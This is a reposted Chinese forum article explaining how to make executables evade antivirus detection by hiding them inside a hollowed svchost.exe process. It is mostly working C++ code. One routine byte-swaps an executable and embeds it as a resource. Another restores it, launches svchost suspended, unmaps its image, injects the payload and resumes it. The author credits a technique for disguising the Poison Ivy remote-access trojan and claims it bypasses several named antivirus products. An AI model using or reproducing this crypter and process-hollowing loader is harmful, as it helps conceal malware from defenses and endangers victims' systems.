您的位置:首页 > 编程语言

利用svchost进程作为傀儡达到exe编程免杀

2011-02-15 21:23 246 查看
from:http://forum.eviloctal.com/viewthread.php?tid=41250
文章作者:iwaxy
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

其实这篇帖子说原创有点牵强,毕竟无论是思路还是实现方法都是借鉴大牛公开的内容。前一阵子看了masepu大牛的编程免杀Poison Ivy远控那篇帖子,捣腾了下,感觉很有意思。于是就想,如果能够把其他的exe也照着这个思路做一遍,岂不是很好。当然实践证明我这个想法过于简单,中 途走了不少弯路,不过幸运的是最终达成了目的。虽然方法有些折中,不够犀利。好,扯了半天这些有的没的,现在切入正题。
主体思路其实就是给原始的exe外面加上一个“壳”,这个壳复杂把修改过的可执行程序加载进内存,并将其内容修改正常,变为正确的可执行程序,然后再搞一 个傀儡的进程,把我们的可执行程序替换进去,进而执行。接下来,我们配合代码详细的解释。首先说一下修改原始的exe文件:复制内容到剪贴板代码:
BOOL Deformation(CString strRstFile,CString strDstFile)
{
CFile file;
BYTE *rstdata;
DWORD dwLen;
HANDLE hUpdateRes;
BOOL result;
LPBYTE p;
//把要当成资源的文件读入内存
file.Open(strRstFile, CFile::modeRead);
dwLen=file.GetLength();
rstdata=new BYTE[dwLen];
file.ReadHuge(rstdata, dwLen);
file.Close();

// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwLen);
if (p == NULL)
{
MessageBox("分配内存失败!", "错误", MB_OK|MB_ICONINFORMATION);
return 0;
}
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)rstdata, dwLen);
//这里我把前后两位的值颠倒,使其可以通过杀软的查杀
for (DWORD i=0; i<dwLen; i++)
{
if (i%2 ==0)
{
CopyMemory((LPVOID)(p + i), (LPCVOID)(rstdata + i + 1), 1);
CopyMemory((LPVOID)(p + i + 1), (LPCVOID)(rstdata + i), 1);
}
i++;
}

//将资源写入目标exe文件
hUpdateRes=BeginUpdateResource(strDstFile, FALSE);
result=UpdateResource(hUpdateRes, _T("PI"), MAKEINTRESOURCE(1001), MAKELANGID(LANG_NEUTRAL, SUBLANG_SYS_DEFAULT), (LPVOID)p, dwLen);
result=EndUpdateResource(hUpdateRes, FALSE);                //必须是FALSE,否则不更新
return result;
}
这样,就把修改过的可执行程序以资源的形式添加到另外一个正常的可执行程序中。接下来,要做的就是将修改过的可执行程序读入内存,并恢复原状,然后加以运行。继续拿代码说话:复制内容到剪贴板代码:
bool OnBuild()
{
// TODO: Add your control notification handler code here
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize;
LPBYTE p;
LPBYTE q;

// 查找所需的资源
hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_PI1), "pi");
if (hResInfo == NULL)
{
MessageBox("查找资源失败!", "错误", MB_OK|MB_ICONINFORMATION);
return 0;
}
// 获得资源尺寸
dwSize = SizeofResource(NULL, hResInfo);
// 装载资源
hResData = LoadResource(NULL, hResInfo);
if (hResData == NULL)
{
MessageBox("装载资源失败!", "错误", MB_OK|MB_ICONINFORMATION);
return 0;
}
// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL)
{
MessageBox("p分配内存失败!", "错误", MB_OK|MB_ICONINFORMATION);
return 0;
}

q = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (q == NULL)
{
MessageBox("q分配内存失败!", "错误", MB_OK|MB_ICONINFORMATION);
return 0;
}
// 复制资源数据
::CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
::CopyMemory((LPVOID)q, (LPCVOID)LockResource(hResData), dwSize);
// 这里把可执行程序修复正确
for (DWORD i=0; i<dwSize; i++)
{
if (i%2 ==0)
{
::CopyMemory((LPVOID)(p + i), (LPVOID)(q + i + 1), 1);
::CopyMemory((LPVOID)(p + i + 1), (LPVOID)(q + i), 1);
}
i++;
}

IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;

PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT context;
PVOID ImageBase;
unsigned long BaseAddr;
unsigned long retByte = 0;
LONG offset;

HMODULE hNtDll=GetModuleHandle("ntdll.dll");
if(!hNtDll)
return FALSE;
ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");

memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);

::CopyMemory((void *)&DosHeader,p,sizeof(IMAGE_DOS_HEADER));
::CopyMemory((void *)&NtHeader,&p[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));

//以挂起方式创建进程
BOOL res = CreateProcess(NULL,"C:\\windows\\system32\\svchost.exe",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

if (res)
{
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread,&context))                //如果调用失败
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
if (!BaseAddr)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//拆卸傀儡进程内存模块
if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ImageBase = VirtualAllocEx(pi.hProcess,
(void *)NtHeader.OptionalHeader.ImageBase,
NtHeader.OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE);                //ImageBase 0x00400000
if (ImageBase == NULL)
{
DWORD wrongFlag = GetLastError();
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//替换傀儡进程内存数据
if(!WriteProcessMemory(pi.hProcess, ImageBase, p, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
{
DWORD wrongFlag2 = GetLastError();
}
//DOS 头 + PE 头 + 区块表的总大小
//定位到区块头
offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
IMAGE_SECTION_HEADER secHeader;
WORD i = 0;
for (;i < NtHeader.FileHeader.NumberOfSections;i++)
{
//定位到各个区块
::CopyMemory((void *)&secHeader, &p[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&p[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
}

context.ContextFlags = CONTEXT_FULL;
//重置 执行文件入口
WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),
&ImageBase,                        //4194304
4, &retByte);
context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&context);
ResumeThread(pi.hThread);
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

GlobalFree((HGLOBAL)p);

return 0;
}
至此,运行生成好的可执行程序,一切正常。简单测试了下,能顺利通过小红伞、卡巴斯基、AVG、诺顿、AVAST等杀软的查杀。本文旨在探讨免杀方法,技术比较简单,还望大家多多指教。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: